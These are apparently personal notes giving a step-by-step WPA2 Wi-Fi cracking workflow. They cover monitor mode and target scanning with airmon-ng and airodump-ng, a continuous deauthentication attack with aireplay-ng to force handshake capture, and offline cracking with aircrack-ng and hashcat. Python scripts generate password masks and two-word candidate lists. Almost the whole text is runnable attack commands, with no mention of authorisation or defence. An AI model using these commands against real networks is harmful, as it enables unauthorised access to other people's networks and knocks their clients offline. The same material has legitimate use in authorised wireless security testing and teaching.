WPA2 crack notes

Find WLAN adapter

Code
iwconfig

Monitor mode

Shell
sudo airmon-ng check kill
sudo airmon-ng start wlan1

Scan

Shell
sudo airodump-ng wlan1mon

If target is 5GHz: add --band a (airodump defaults to 2.4GHz/bg on many drivers)

Shell
sudo airodump-ng --band a wlan1mon

Lock to target BSSID/channel

Shell
sudo airodump-ng -c <channel> -w outputfilename -d <BSSID> wlan1mon

5GHz channel numbers differ (36, 40, 44, 48, 149, 153... not 1–13). Use --band a here too if locking to a 5GHz channel.

Deauth to force handshake

Shell
sudo aireplay-ng --deauth 0 -a <BSSID> -c <station MAC> wlan1mon

Wait for WPA handshake: <BSSID> in the airodump header, then Ctrl+C.

Crack directly (wordlist only)

Shell
sudo aircrack-ng outputfilename-01.cap -w password.txt

Convert for hashcat

Code
hcxpcapngtool -o outputfilename.hc22000 outputfilename-01.cap

Numeric-only pass

Code
hashcat -m 22000 -a 3 -O outputfilename.hc22000 '?d?d?d?d?d?d?d?d'

Full charset mask — only viable up to ~8 chars

Code
hashcat -m 22000 -a 3 -1 '?l?u?d' outputfilename.hc22000 '?1?1?1?1?1?1?1?1'

Known length/suffix, unknown case placement

Python
python3 -c "
import itertools
with open('test.hcmask', 'w') as f:
    for i, j in itertools.combinations(range(10), 2):
        letters = ['?u' if p in (i, j) else '?l' for p in range(10)]
        f.write(''.join(letters) + '1234!!\n')
"
hashcat -m 22000 -a 3 -O outputfilename.hc22000 test.hcmask

Two-word + known suffix (best odds for human-chosen passwords)

Python
python3 << 'EOF'
from collections import defaultdict
words = set(w.strip().lower() for w in open("wordlist.txt") if w.strip().isalpha())
by_len = defaultdict(list)
for w in words:
    by_len[len(w)].append(w)
TOTAL, SUFFIX = 10, "1234!!"
with open("candidates.txt", "w") as f:
    for la in range(2, TOTAL-1):
        lb = TOTAL - la
        for a in by_len.get(la, []):
            for b in by_len.get(lb, []):
                f.write(a.capitalize() + b.capitalize() + SUFFIX + "\n")
EOF
hashcat -m 22000 -a 0 -O outputfilename.hc22000 candidates.txt